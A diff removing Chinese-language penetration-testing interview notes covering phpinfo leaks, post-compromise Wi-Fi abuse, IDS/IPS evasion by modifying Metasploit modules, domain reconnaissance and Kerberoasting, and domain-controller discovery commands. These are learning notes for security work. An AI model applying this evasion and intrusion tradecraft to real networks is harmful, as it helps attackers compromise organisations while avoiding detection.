- **`expose_php`**: 如果这个选项为 `On`，`phpinfo()` 页面会暴露 PHP 的**精确版本号**（例如 PHP/8.1.12）。这使得我能快速在漏洞数据库（如 CVEs）中查找该版本已知的安全漏洞，并针对性地进行攻击
|
||||
|
||||
|
||||
|
||||
**2. 服务器环境信息**
|
||||
|
||||
这些信息帮助我了解 PHP 运行在什么样的环境中，以及我能获得多大的权限
|
||||
|
||||
- **`SERVER_SOFTWARE`**: 告诉我 Web 服务器的类型和版本，例如 Apache、Nginx、IIS 等。这些服务器本身也可能存在漏洞
|
||||
- **`_SERVER["DOCUMENT_ROOT"]`**: 暴露了网站的根目录路径，这是进行**本地文件包含 (LFI)** 和目录遍历攻击的关键信息
|
||||
- **`User` 和 `Group`**: `phpinfo()` 会显示 PHP 进程是以哪个用户和用户组运行的。这决定了我能执行哪些操作，例如是否可以读取其他用户的文件、是否可以写入某些目录等
|
||||
- **`PATH`**: 环境变量 `PATH` 包含了系统命令的搜索路径，如果我能执行命令，这能帮助我快速找到像 `whoami`、`ls`、`id` 等常用命令
|
||||
|
||||
|
||||
|
||||
**3. 已加载的模块和扩展**
|
||||
|
||||
这些信息揭示了 PHP 环境的功能，以及潜在的攻击面
|
||||
|
||||
- **`cURL`、`sockets`**: 如果这些扩展存在，我可能会尝试**服务器端请求伪造 (SSRF)** 攻击，通过服务器向内部网络发起请求，探测内网服务
|
||||
- **`pdo`、`mysqli`、`sqlsrv` 等数据库扩展**: 确认网站使用了哪种数据库，为后续的**SQL 注入**攻击提供目标
|
||||
- **`GD`、`ImageMagick` 等图像处理扩展**: 如果存在，可能会有**图像处理库漏洞**，导致命令执行。
|
||||
|
||||
|
||||
|
||||
**4. 文件系统和路径信息**
|
||||
|
||||
- **`_SERVER["SCRIPT_FILENAME"]`**: 暴露了当前脚本在服务器上的**绝对路径**。这是进行本地文件包含、路径遍历、以及了解服务器文件结构的重要线索
|
||||
- **`upload_tmp_dir`**: 如果我能找到一个文件上传漏洞，这个选项会告诉我临时文件上传的目录。有时候，我可以在这个目录上传并执行一个 WebShell
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,65 +0,0 @@
|
||||
### 抓取到域内 Windows 主机的 Wi-Fi 密码有什么利用思路
|
||||
|
||||
**一、 扩大网络访问权限与横向渗透**
|
||||
|
||||
**1. 接入隔离/低安全区域网络**
|
||||
|
||||
很多企业会将不同的设备或用户类型分配到不同的 Wi-Fi 网络，安全防护等级不一：
|
||||
|
||||
- **利用目标：** 接入 **访客网络 (Guest Wi-Fi)**、**运维设备网络**、**内部 IoT 设备网络**（如 IP 摄像头、智能照明）
|
||||
- **利用价值：**
|
||||
- **弱配置设备攻击：** 许多连接在 Wi-Fi 上的设备（如打印机、投影仪、会议系统）存在默认凭证或未打补丁的漏洞，可以作为**新的跳板**进入更核心的网络
|
||||
|
||||
**2. 绕过网络访问控制 (NAC)**
|
||||
|
||||
如果企业实施了严格的**端口安全**或 **NAC**，限制了有线网络的接入：
|
||||
|
||||
- **利用目标：** 使用抓取到的密码，通过你自己的设备（如笔记本、手机、便携式路由）连接到员工 Wi-Fi。
|
||||
- **利用价值：**
|
||||
- **物理渗透捷径：** 在物理渗透场景中，可以直接在办公区或会议室接入内网，**无需寻找空闲的墙上网络端口**
|
||||
- **规避端口绑定策略：** 绕过针对特定有线端口或 MAC 地址的限制，相当于为你自己生成了一个**有效的内网接入身份**
|
||||
|
||||
****
|
||||
|
||||
**二、 建立隐蔽 C2 通道（反向连接）**
|
||||
|
||||
Wi-Fi 网络可以作为建立持久化和隐蔽命令与控制 (C2) 通道的基础
|
||||
|
||||
**1. 利用 Wi-Fi 出口进行隐蔽通信**
|
||||
|
||||
- **思路：** 在受控的域内 Windows 主机上，设置代理或路由，强制其 C2 流量通过 Wi-Fi 接口进行传输，而非默认的有线网络接口
|
||||
- **利用价值：**
|
||||
- **绕过核心防火墙：** 许多公司的主出口防火墙对有线网络的流量监控极其严格，而 Wi-Fi 网络的出口策略往往较为宽松（或者经过了不同的流量检测设备）
|
||||
- **增加溯源难度：** 攻击者将 C2 服务器设置在互联网上，受控主机的回连流量通过 Wi-Fi 接口离开内网，可以**混淆**安全团队对 C2 流量的分析和溯源路径
|
||||
|
||||
**2. 作为“死亡跳板”**
|
||||
|
||||
- **思路：** 如果你攻陷了多台主机，可以将其中一台主机设置为 Wi-Fi 网络中的**内部 C2 代理**
|
||||
- **利用价值：**
|
||||
- 核心主机只需连接到这台 Wi-Fi 跳板机（内网 IP），而不直接连接到互联网 C2 服务器。这使得**核心资产的通信更加本地化和隐蔽**，即使 Wi-Fi 被切断，也不会直接暴露核心主机
|
||||
|
||||
****
|
||||
|
||||
**三、 凭证复用与社会工程学**
|
||||
|
||||
**1. 密码复用攻击**
|
||||
|
||||
- **思路：** 尝试将抓取到的 Wi-Fi 密码作为 **低级服务** 或 **非核心应用** 的密码
|
||||
- **利用价值：** 许多员工习惯使用相同的简单密码（如 `wifi_password`）来保护共享文件夹、测试环境的数据库、内部 Wiki 站点或个人账户。可以尝试在域内进行**哈希传递**或**密码喷洒**等攻击时，将此密码加入字典
|
||||
|
||||
**2. 社会工程学辅助**
|
||||
|
||||
- **思路：** 在进行钓鱼或社工活动时，如果能提到目标企业的 Wi-Fi 名称和密码，会极大地**提高可信度**
|
||||
- **利用价值：** 伪装成 IT 部门发送“安全升级通知”或“网络维护邮件”，要求员工提供其他敏感信息，因为你已经掌握了他们日常使用的 Wi-Fi 凭证
|
||||
|
||||
****
|
||||
|
||||
**四、 802.1x 认证环境下的变种利用**
|
||||
|
||||
如果 Wi-Fi 采用 **802.1x** 认证（依赖域用户凭证而非简单 PSK），则利用思路会升级为对 **802.1x 凭证本身的利用**：
|
||||
|
||||
| Wi-Fi 类型 | 抓取目标 | 变种利用思路 |
|
||||
| -------------------------- | ------------------- | ------------------------------------------------------------ |
|
||||
| **PSK (预共享密钥)** | Wi-Fi 密码明文 | 接入网络，扩大攻击面 |
|
||||
| **802.1x (PEAP/MSCHAPv2)** | 域用户名和密码/哈希 | 利用抓到的域凭证**模拟**该用户在自己的设备上通过 802.1x 认证，直接接入公司 Wi-Fi 网络 |
|
||||
| **802.1x (EAP-TLS)** | 客户端证书和私钥 | 导出目标主机的**客户端证书和私钥**，导入到攻击机上，以**主机身份**接入网络。这是最高级别的隐蔽接入 |
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,24 +0,0 @@
|
||||
### 请说明 MSF 的扫描模块与 Nmap 或 FScan 相比，在隐蔽性和灵活性上的优势和劣势
|
||||
|
||||
**隐蔽性**
|
||||
|
||||
在隐蔽性方面，**MSF 模块**通常比原生扫描器更具优势，因为它工作在**应用层（L7）**
|
||||
|
||||
- **MSF 的优势：** MSF 的辅助模块模仿的是**真实的客户端与服务器的协议交互**，例如发送一个标准的 HTTP GET 请求来获取版本信息，或者尝试一个正常的 SMB 登录。这种流量看起来更像**正常的业务通信**，能够更好地**规避 IDS/IPS 对原始网络包（Raw Packets）的检测**。此外，MSF 模块通常是针对**特定目标或任务**进行单次、精准的验证，不容易被发现
|
||||
- **原生扫描器的劣势：** **Nmap** 和 **FScan** 主要依赖于发送 **L3/L4 层的原始数据包**（如 SYN/ACK、ICMP）。尽管 Nmap 支持多种隐蔽扫描技术（如 FIN、Xmas），但这种**裸包扫描的特征**非常明显，很容易被专业的流量分析工具和 IDS/IPS 标记为**恶意扫描行为**。它们默认往往进行**大范围、多端口的全面扫描**，容易被发现
|
||||
|
||||
****
|
||||
|
||||
**灵活性**
|
||||
|
||||
在灵活性方面，MSF 的优势体现在**流程整合**和**快速定制**上，而 Nmap/FScan 则体现在**扫描深度**上
|
||||
|
||||
**流程整合与定制（MSF 优势）**
|
||||
|
||||
- **MSF 的巨大优势：** MSF 提供了**一站式的渗透测试流程**。扫描模块的输出（如发现的服务版本或弱口令）可以**直接无缝地作为利用模块（Exploit）的输入**，实现了**信息收集、漏洞利用到后渗透的自动化衔接**。这种**功能整合性**是 Nmap/FScan 无法比拟的，后者需要手动导入数据
|
||||
- **MSF 的定制优势：** MSF 模块基于 **Ruby** 脚本语言编写，结构清晰。这使得渗透测试工程师可以**快速、轻松地修改**现有模块的协议交互逻辑、添加自定义的指纹识别，或者整合自己的混淆技术，**定制和迭代效率极高**
|
||||
|
||||
**扫描深度与覆盖（Nmap/FScan 优势）**
|
||||
|
||||
- **原生扫描器的巨大优势：** **Nmap** 是业界公认的**端口扫描之王**，在**网络发现**和**全面资产识别**方面具有不可撼动的地位。它支持所有 TCP/UDP 协议的底层裸包扫描，能够穿透各种网络环境，实现**最全面的端口服务覆盖**
|
||||
- **MSF 的劣势：** MSF 模块多是针对**特定应用或漏洞**的验证性脚本，其设计的目的在于“验证是否存在”，而非“发现所有资产”。因此，它在发现**未知或非标准服务**的**深度和广度**上，远不如 Nmap
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,65 +0,0 @@
|
||||
### 请你详细说说你如何定制或魔改一个 MSF 扫描模块使其能更好地绕过流量分析和 IDS/IPS 的检测
|
||||
|
||||
**一、理解检测原理与目标**
|
||||
|
||||
在动手修改代码之前，**深入理解 IDS/IPS 和流量分析的工作原理**至关重要
|
||||
|
||||
- **IDS/IPS 的检测机制：**
|
||||
- **签名匹配 (Signature-based):** 默认 MSF 模块中的特定字节序列、Header 值（如 User-Agent）或请求结构是已知的签名
|
||||
- **异常检测 (Anomaly-based):** 寻找与正常流量模式（如不常见的端口、非标准协议行为、高并发连接速率）的偏差
|
||||
- **协议解析 (Protocol Parsing):** 检查请求是否符合协议规范
|
||||
- **流量分析的关键点：**
|
||||
- **时间特征:** 快速、连续的扫描行为（高连接速率）
|
||||
- **指纹信息:** 默认的 HTTP Header (如 `User-Agent: Metasploit`), TCP/IP 栈指纹
|
||||
- **载荷特征:** 默认载荷的字节序列、编码方式
|
||||
|
||||
****
|
||||
|
||||
**二、模块定制与魔改的四大策略**
|
||||
|
||||
我主要从 **网络层、应用层、行为模式** 和 **载荷** 四个维度进行魔改
|
||||
|
||||
**1. 流量特征模糊化（应用层/网络层）**
|
||||
|
||||
这部分旨在改变数据包的**静态指纹**，使其看起来更像正常、随机的客户端流量
|
||||
|
||||
| 定制目标 | 具体魔改方法 | 绕过机制 |
|
||||
| -------------------- | ------------------------------------------------------------ | -------------------------------------- |
|
||||
| **User-Agent** | 随机化 **`User-Agent`** 列表，使用主流浏览器和操作系统的真实组合。**避免**使用 MSF 或其他工具的默认值。 | 绕过基于特定 UA 签名的检测 |
|
||||
| **HTTP Header** | 增加、修改或随机化其他 Header，如 `Accept-Language`, `Referer`, `Cache-Control`。**特别是**修改 **`Accept-Encoding`**，以影响响应和请求的压缩 | 模拟真实浏览器行为，使流量分析更困难 |
|
||||
| **TLS/SSL 指纹** | 在使用 HTTPS 扫描时，修改 **JA3/JA4 指纹**。这通常涉及修改底层的 Ruby 库或使用特定的 Sockets 库，以随机化 **Client Hello** 消息中的加密套件、扩展顺序等 | 绕过基于 TLS 握手特征的检测 |
|
||||
| **IP 分片/TCP 乱序** | 引入 IP 分片或 TCP 分段乱序的逻辑（需更底层库支持），但需注意过度使用可能导致目标拒绝连接 | 绕过签名匹配（签名可能无法跨分片识别） |
|
||||
|
||||
|
||||
|
||||
**2. 行为模式降速与随机化**
|
||||
|
||||
这是绕过基于**行为分析**和**速率限制**的关键
|
||||
|
||||
- **延迟与抖动 (Delay & Jitter):**
|
||||
- **增加扫描间隔 (`Sleep`):** 在每次连接请求之间引入随机的延迟，如 2∼5 秒，避免高并发
|
||||
- **引入随机抖动:** 使用非线性的、随机的延迟时间，使扫描速率难以被算法模型预测
|
||||
- **IP 地址轮换 (Proxy Chaining):**
|
||||
- 集成 **Socks 代理链 (如 Tor)** 或购买**高匿名的住宅 IP 池**。在 MSF 模块中，可以通过设置 `Proxies` 选项，或直接修改模块代码以从 IP 池中随机选择出口 IP
|
||||
- **连接失败处理:**
|
||||
- 设置更人性化的重试机制，而不是立即放弃或高速重试，模拟网络不稳定的真实用户行为
|
||||
|
||||
|
||||
|
||||
**3. 代码逻辑混淆与指纹去除**
|
||||
|
||||
直接修改模块的 Ruby 代码，消除内部的**软件指纹**
|
||||
|
||||
- **移除/修改内部标识符:** 许多 MSF 模块会在请求中加入一些微小的、不影响功能的标识符。比如，在 POST 请求体中加入**不影响解析的空格或随机参数**
|
||||
- **重写核心请求函数:** 避免使用 MSF 默认的 `send_request_cgi` 等包装函数，而是使用更底层的 `Rex::Socket` 或其他 Ruby HTTP 库，**完全重构**请求的构造过程，消除函数调用栈和代码结构上的指纹
|
||||
- **自定义协议处理:** 如果是针对非 HTTP 协议的扫描，重写协议解析和构造逻辑，确保只发送扫描所需的最小数据，并使用非标准的字段顺序
|
||||
|
||||
|
||||
|
||||
**4. 载荷定制与动态编码**
|
||||
|
||||
对于渗透模块（如 Exploit），载荷的定制是核心
|
||||
|
||||
- **动态编码:** 不使用 MSF 默认的编码器（如 `shikata_ga_nai`，它们有已知特征），而是使用**自定义或多重异或/加法编码**，并结合**自定义解码存根**
|
||||
- **无文件载荷:** 尽可能使用反射型 DLL 注入或其他内存载荷，避免将恶意文件写入磁盘，绕过基于文件哈希和行为的终端检测
|
||||
- **载荷分块传输:** 将载荷分割成多个小块，通过不同的请求或连接分阶段传输，最后在目标内存中重组，绕过基于载荷完整性的深度包检测 (DPI)
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,32 +0,0 @@
|
||||
### 如何判断目标操作系统
|
||||
|
||||
**1. 被动指纹识别**
|
||||
|
||||
这是在不与目标系统直接交互或发送特定探测请求的情况下进行识别，通常通过分析网络流量来完成
|
||||
|
||||
- **TTL (Time-To-Live)**：这是最常用且最简单的方法。TTL 是 IP 包在网络中存活的最大跳数。不同的操作系统有不同的初始 TTL 值
|
||||
- **Linux/Unix**：通常为 **64**
|
||||
- **Windows**：通常为 **128**
|
||||
- **老版本 Windows XP**：也可能是 **64**
|
||||
- **思科设备**：通常为 **255**
|
||||
- **判断方法**：在你的机器上 `ping` 目标，或者通过 `tracert`/`traceroute`，观察返回包的 TTL 值。例如，你 `ping` 一个服务器，返回的 TTL 是 118，那么初始值很可能是 128，表明目标是 Windows
|
||||
- **TCP 窗口大小 (Window Size)**：不同的操作系统在进行 TCP 握手时，其初始的 TCP 窗口大小也不同
|
||||
- **Linux**：通常为 **5840**
|
||||
- **Windows**：通常为 **65535**
|
||||
- **判断方法**：通过抓包工具（如 Wireshark）分析 TCP 三次握手的第一个 SYN-ACK 包，观察其 Window Size 字段
|
||||
|
||||
判断目标操作系统是渗透测试中的一个基本步骤，这可以帮助你选择正确的漏洞利用方法和工具。以下是几种从渗透测试角度判断目标操作系统的方法，从被动到主动，由浅入深
|
||||
|
||||
|
||||
|
||||
**2. 主动指纹识别**
|
||||
|
||||
这需要你向目标发送特定的探测请求，并分析其响应
|
||||
|
||||
- **Nmap**：这是最强大的操作系统指纹识别工具。Nmap 使用其内置的脚本和复杂的算法来识别操作系统
|
||||
- **命令**：`nmap -O [目标 IP]`
|
||||
- **原理**：Nmap 会发送一系列精心构造的 TCP/IP 数据包到目标，并分析响应的 TTL、TCP 窗口大小、序列号（IP ID）、TCP 时间戳等多种特征，然后将这些特征与 Nmap 数据库中的操作系统指纹进行比对
|
||||
- **HTTP 响应头**：如果目标是 Web 服务器，其 HTTP 响应头通常会泄露操作系统和 Web 服务器软件的信息
|
||||
- **`Server` 头**：可能包含 `Apache/2.4.6 (CentOS)` 或 `Microsoft-IIS/10.0` 等信息
|
||||
- **`X-Powered-By` 头**：可能包含 `ASP.NET` 或 `PHP` 等信息
|
||||
- **判断方法**：使用 `curl` 命令或 Burp Suite 等工具发送请求，然后查看响应头
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,36 +0,0 @@
|
||||
### 如何判断是否使用 CDN
|
||||
|
||||
**1. DNS 解析查询**
|
||||
|
||||
CDN 的核心原理就是将你的请求解析到离你最近的节点服务器
|
||||
|
||||
- **多次查询**: 在不同地区或使用不同的 DNS 解析服务器（如 Google DNS, 阿里云 DNS）多次对目标域名进行 `ping` 或 `nslookup` 查询
|
||||
- **观察 IP 地址**: 如果每次查询返回的 IP 地址都不同，或者返回多个 IP 地址，那么很可能目标使用了 CDN。因为 CDN 会根据你的地理位置，将域名解析到不同的边缘节点服务器
|
||||
- **查询CNAME**: 许多 CDN 服务商会使用一个特殊的 CNAME（别名记录）来指向他们的 CDN 节点。例如，你查询 `www.example.com` 的 CNAME，如果返回一个类似 `www.example.com.cdn.cloudflare.net` 或 `w.alikun.com` 的域名，那么目标就使用了 CDN
|
||||
|
||||
你可以使用在线工具如 **nslookup.io**、**`ping` 命令** 或 **`nslookup` 命令** 来进行测试
|
||||
|
||||
|
||||
|
||||
**2. HTTP 响应头分析**
|
||||
|
||||
许多 CDN 服务商会在 HTTP 响应头中添加特定的信息来标识自己
|
||||
|
||||
- **`Server` 字段**: 一些 CDN 会在 `Server` 字段中暴露自己的身份，例如 `Server: cloudflare` 或 `Server: Tengine`（阿里巴巴的 CDN）
|
||||
- **`X-Powered-By` 或自定义字段**: 有些 CDN 可能会添加自定义的 HTTP 头，如 `X-Cache`、`X-CDN` 或 `Via` 来指示内容是否由 CDN 缓存
|
||||
- **`Set-Cookie`**: 一些 CDN 服务会在响应中设置特定的 Cookie 来追踪用户，这也能作为判断依据
|
||||
|
||||
你可以使用 `curl` 命令或浏览器的开发者工具来查看这些 HTTP 头信息。例如：`curl -I http://www.example.com`
|
||||
|
||||
|
||||
|
||||
**3. IP 地址归属地查询**
|
||||
|
||||
- **IP 库查询**: 如果通过 DNS 查询获得了目标 IP 地址，可以利用 IP 地址查询工具来判断其归属地
|
||||
- **观察归属地**: 如果 IP 地址归属地是一个知名的 CDN 服务商（如 Cloudflare, Akamai, AWS），那么目标就使用了 CDN
|
||||
|
||||
|
||||
|
||||
**4. SSL/TLS 证书信息**
|
||||
|
||||
- **证书颁发者**: 有些 CDN 服务商会提供 SSL/TLS 证书服务，如果证书的颁发者是 Cloudflare 或 Let's Encrypt 等，这可能暗示使用了 CDN
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,44 +0,0 @@
|
||||
### 有没有了解过 SVN/GIT 源代码泄露
|
||||
|
||||
**SVN 源代码泄露**
|
||||
|
||||
SVN（Subversion）是一个集中式版本控制系统，它的核心目录是 `.svn`。当开发者在 Web 服务器的根目录下直接使用 `svn checkout` 或 `svn update` 命令时，`.svn` 目录及其所有子目录也会被同步到服务器上。如果 Web 服务器没有正确配置，这个隐藏目录就会被公网访问
|
||||
|
||||
**漏洞原理**
|
||||
|
||||
`/.svn/` 目录下存储了代码的元数据，这些数据通常以 `.svn/entries`、`.svn/text-base/` 等形式存在。攻击者可以通过递归下载这些文件来还原出整个代码库
|
||||
|
||||
- `/.svn/entries`：在 SVN 1.6 及更早版本中，这个文件包含了目录下所有文件的元数据，包括文件名、版本号、文件类型等。攻击者可以通过解析这个文件，获取所有文件的相对路径
|
||||
- `/.svn/text-base/`：这个目录存储了每个文件的原始版本副本。文件名通常是 `filename.svn-base`。攻击者可以下载这些文件来获取源代码
|
||||
|
||||
**如何利用**
|
||||
|
||||
利用 SVN 源代码泄露，通常需要一个自动化工具来递归下载所有 `.svn` 目录下的文件，并根据元数据将它们重组为完整的代码库
|
||||
|
||||
1. **探测**：在目标网站 URL 后面加上 `/.svn/entries` 或 `/.svn/wc.db`（SVN 1.7+）来探测漏洞是否存在
|
||||
- `http://example.com/.svn/entries`
|
||||
- `http://example.com/some-dir/.svn/entries`
|
||||
2. **自动化下载与重构**：使用 `svn-dumper`、`dvcs-ripper` 等工具。这些工具能够自动化完成下载和还原代码的过程
|
||||
|
||||
****
|
||||
|
||||
**Git 源代码泄露**
|
||||
|
||||
Git 是一个分布式版本控制系统，它的核心目录是 `.git`。和 SVN 类似，当开发者将代码直接在 Web 目录下进行 `git init` 或 `git clone` 操作时，`.git` 目录就会被创建并暴露出来
|
||||
|
||||
**漏洞原理**
|
||||
|
||||
`/.git/` 目录包含了 Git 版本库的所有信息，如对象（objects）、引用（refs）、索引（index）、配置文件（config）等。攻击者可以通过下载这些文件，利用 Git 内部的命令来还原代码
|
||||
|
||||
- `/.git/HEAD`：指向当前分支，可以确定当前分支名
|
||||
- `/.git/index`：包含了暂存区的文件信息
|
||||
- `/.git/objects/`：这个目录存储了所有的 Git 对象（包括文件、目录、提交等）。这是攻击者还原代码最关键的目录
|
||||
|
||||
**如何利用**
|
||||
|
||||
1. **探测**：在目标 URL 后面加上 `/.git/` 或 `/.git/config` 来探测漏洞
|
||||
- `http://example.com/.git/config`
|
||||
- `http://example.com/.git/HEAD`
|
||||
2. **下载与重构**：同样可以使用 `dvcs-ripper` 或专门针对 Git 的工具。这些工具会下载 `.git` 目录下的所有文件，然后在本地创建一个 Git 仓库并还原出源代码
|
||||
- 通过 `git log` 查看提交历史
|
||||
- 通过 `git checkout` 切换到不同版本，获取所有版本的代码
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,57 +0,0 @@
|
||||
### 说说域信息收集思路
|
||||
|
||||
**阶段一：宏观侦察**
|
||||
|
||||
这个阶段的目标是**在不暴露自己身份的情况下，尽可能多地了解域环境的整体情况**
|
||||
|
||||
1. **确定网络边界和域控位置：**
|
||||
- **DNS 侦察：** 查询 DNS 服务器，获取域控（DC）、全局编录服务器（GC）的 IP 地址。通常通过 `nslookup` 或 `dig` 命令查询 `_ldap._tcp.dc._msdcs.<domain_name>` 或 `_kerberos._tcp.dc._msdcs.<domain_name>` 记录。这是最基本的域内服务发现方法
|
||||
- **SMB 侦察：** 使用 `nbtscan` 或 `nmap` 扫描器，发现网络中开放了 445 端口（SMB）的主机，这些主机很可能是 Windows 主机，其中域控的特征会更明显
|
||||
2. **判断域的信任关系：**
|
||||
- 域之间可能存在信任关系，允许一个域的用户访问另一个域的资源。通过 `nltest /domain_trusts` 或 PowerView 的 `Get-DomainTrust` 命令可以列出域之间的信任关系。这是一个重要的横向移动点，如果能控制一个受信任的子域，可能可以借此攻击主域
|
||||
3. **发现域内主机：**
|
||||
- **ICMP/ARP 扫描：** 使用 `ping` 或 `nmap -sn` 对内网 IP 段进行存活主机探测
|
||||
- **端口扫描：** 发现域内主机开放的服务，特别是 Kerberos (88/TCP)、LDAP (389/TCP)、SMB (445/TCP)、WinRM (5985/TCP) 等与域服务相关的端口
|
||||
|
||||
****
|
||||
|
||||
**阶段二：微观信息枚举**
|
||||
|
||||
在初步了解了域环境后，这个阶段的目标是**利用已有的权限（即使是普通用户权限），深入挖掘域内的各种实体信息**
|
||||
|
||||
**1. 用户和组信息枚举**
|
||||
|
||||
- **目标：** 发现域内所有用户、管理员账户、组及其成员
|
||||
- **常用技术：**
|
||||
- **`net user /domain` 和 `net group /domain`：** 最基础的命令行工具，可以列出域内用户和组
|
||||
- **PowerView (PowerShell):** 这是域渗透中最强大的信息收集工具之一。它提供了大量 cmdlet，如 `Get-DomainUser`、`Get-DomainGroup`、`Get-DomainGroupMember`，可以高效、详细地查询域内用户、组及其关系
|
||||
- **AdFind.exe：** 一款经典的 LDAP 查询工具，可以灵活地查询域内任何信息
|
||||
- **BloodHound：** 这是一个革命性的工具，它通过收集域内用户、组、计算机、服务等实体之间的关系，并以图形化方式展示，帮助攻击者快速找到通往域控的**最短攻击路径**。这是渗透测试中必不可少的工具
|
||||
|
||||
**2. 计算机和域控信息枚举**
|
||||
|
||||
- **目标：** 发现域内所有计算机，特别是域控、高权限服务器，以及这些机器上运行的服务
|
||||
- **常用技术：**
|
||||
- **PowerView 的 `Get-DomainComputer`：** 可以获取域内所有计算机的详细信息，包括操作系统、角色（如是否为域控）等
|
||||
- **SMB 和 WinRM 枚举：** 尝试连接域内计算机的 SMB 或 WinRM 服务，并使用已有的凭据进行登录，如果成功，可以进一步收集该机器上的本地信息。
|
||||
|
||||
**3. 服务信息枚举（Kerberoasting）**
|
||||
|
||||
- **目标：** 发现域内所有注册了 SPN (Service Principal Name) 的服务账户
|
||||
- **常用技术：**
|
||||
- **PowerView 的 `Get-DomainSPN`：** 专门用于查询注册了 SPN 的服务账户
|
||||
- **Kerberoasting 攻击：** 通过向 KDC (Key Distribution Center) 请求特定服务的 TGS 票据，然后离线破解票据中的哈希，从而获取服务账户的明文密码。这是一个非常高效的域内提权和横向移动方法
|
||||
|
||||
**4. 组策略信息（SYSVOL）**
|
||||
|
||||
- **目标：** 收集域内的组策略设置，寻找配置不当或包含敏感信息的 GPO
|
||||
- **常用技术：**
|
||||
- **访问 `\\<domain_name>\SYSVOL` 共享：** SYSVOL 文件夹是公开可访问的
|
||||
- **搜索 `SYSVOL`：** 在 SYSVOL 文件夹中搜索密码、脚本（如 `.vbs` 或 `.bat` 文件）或任何可能包含敏感信息的 XML 文件。有时管理员会将密码硬编码在组策略脚本中，这会是一个巨大的突破口
|
||||
|
||||
**5. 域内漏洞扫描与识别**
|
||||
|
||||
- **目标：** 发现域内存在的已知漏洞，特别是与域服务相关的关键漏洞
|
||||
- **常用技术：**
|
||||
- **PowerView 的 `Find-DomainVulnerableSPN` 等：** 寻找可能存在漏洞的配置
|
||||
- **专业漏洞扫描器：** 使用商业或开源的漏洞扫描器，如 Nessus、OpenVAS 或专门针对域控的漏洞扫描工具，检查域控和成员服务器是否存在 Zerologon (CVE-2020-1472)、PetitPotam (CVE-2021-36942) 等严重漏洞
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,83 +0,0 @@
|
||||
### 如何快速定位域控
|
||||
|
||||
**1. 使用内置环境变量**
|
||||
|
||||
这是最快、最简单的方法，特别是在你已经获得域内任意一台 Windows 主机的权限时
|
||||
|
||||
当一台 Windows 主机加入域后，它会自动设置一个名为 `%LOGONSERVER%` 的环境变量，该变量存储了当前用于登录认证的域控名称。
|
||||
|
||||
- **命令：**
|
||||
|
||||
```powershell
|
||||
echo %LOGONSERVER%
|
||||
```
|
||||
|
||||
或者在 PowerShell 中：
|
||||
|
||||
```powershell
|
||||
$env:LOGONSERVER
|
||||
```
|
||||
|
||||
- **优点：** 无需任何额外工具，几乎即时返回结果
|
||||
|
||||
|
||||
|
||||
**2. 通过 DNS 服务查询**
|
||||
|
||||
在域环境中，域控会在 DNS 服务器上注册特定的服务记录（SRV Records），这些记录指向其 IP 地址和端口。这是最可靠的定位方法之一
|
||||
|
||||
- **命令：**
|
||||
|
||||
```powershell
|
||||
nslookup -type=SRV _ldap._tcp.dc._msdcs.yourdomain.com
|
||||
```
|
||||
|
||||
将 `yourdomain.com` 替换为目标域的名称。例如，如果域是 `contoso.local`，命令就是 `nslookup -type=SRV _ldap._tcp.dc._msdcs.contoso.local`
|
||||
|
||||
- **输出：** DNS 服务器会返回包含域控主机名和 IP 地址的列表
|
||||
|
||||
- **优点：** 几乎所有 Windows 域都依赖 DNS 服务，这种方法非常通用且准确
|
||||
|
||||
|
||||
|
||||
**3. 利用 Windows 内置工具**
|
||||
|
||||
`nltest` 是一个用于测试和管理网络登录服务的命令行工具，可以用来发现域控
|
||||
|
||||
- **命令：**
|
||||
|
||||
```powershell
|
||||
nltest /dclist:yourdomain.com
|
||||
```
|
||||
|
||||
这个命令会列出域内的所有域控
|
||||
|
||||
- **优点：** 无需管理员权限，可以在任何域成员主机上运行，非常方便
|
||||
|
||||
|
||||
|
||||
**4. 使用端口扫描**
|
||||
|
||||
域控提供多种核心服务，这些服务都在特定的端口上运行。通过扫描这些端口，可以有效地识别出域控
|
||||
|
||||
- **关键端口：**
|
||||
|
||||
- **Kerberos:** 88/TCP
|
||||
- **LDAP:** 389/TCP
|
||||
- **LDAP over SSL:** 636/TCP
|
||||
- **Global Catalog:** 3268/TCP
|
||||
- **SMB:** 445/TCP
|
||||
|
||||
- **Nmap 扫描：**
|
||||
|
||||
```bash
|
||||
nmap -p 88,135,139,389,445,636 --open <internal_network_range>
|
||||
```
|
||||
|
||||
这个命令会扫描指定网段中开放了这些域控服务端口的主机。 你还可以使用 Nmap 的脚本来更精确地识别：
|
||||
|
||||
```bash
|
||||
nmap -p 88 --script krb5-enum-users <ip_address>
|
||||
```
|
||||
|
||||
如果一个主机在 88 端口上运行了 Kerberos 服务，它很可能就是域控
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,14 +0,0 @@
|
||||
### Wappalyzer 怎么进行指纹识别的
|
||||
|
||||
Wappalyzer 的指纹识别过程可以概括为以下几个主要步骤：
|
||||
|
||||
1. **特征库匹配**：Wappalyzer 维护一个巨大的、社区驱动的 JSON 特征库文件，其中包含了各种 Web 技术（如 CMS、Web 服务器、前端框架、编程语言、数据库等）的**独特指纹信息**
|
||||
2. **获取信息**：当你访问一个网站时，Wappalyzer 会利用浏览器已经加载的数据，从中提取出以下几类信息：
|
||||
- **HTTP 响应头（HTTP Headers）**：检查 `Server`、`X-Powered-By`、`Set-Cookie` 等响应头字段。例如，`Server: Nginx` 就直接表明使用了 Nginx 服务器；`X-Powered-By: PHP/7.4.3` 则表明使用了特定版本的 PHP
|
||||
- **HTML 页面内容**：在页面的 `<body>` 和 `<head>` 标签中搜索特定的字符串。例如，许多 CMS 会在页面中包含特定的元标签，如 `<meta name="generator" content="WordPress 6.0.1" />`，这直接暴露了所使用的技术及其版本
|
||||
- **JavaScript 变量和库**：检查全局 JavaScript 变量或特定库文件的存在。例如，如果页面加载了 `jquery.js`，并且存在 `window.jQuery` 变量，Wappalyzer 就可以识别出使用了 jQuery 库
|
||||
- **URL 路径和文件名**：分析 URL 的结构，特别是目录和文件名。例如，`/wp-content/` 目录是 WordPress 的典型特征；而 `/admin` 或 `/login` 路径可能指向特定的 CMS 或框架
|
||||
- **Cookies**：检查 Cookie 名称或值。例如，`wordpress_logged_in_...` 或 `PHPSESSID` 都是典型的指纹信息
|
||||
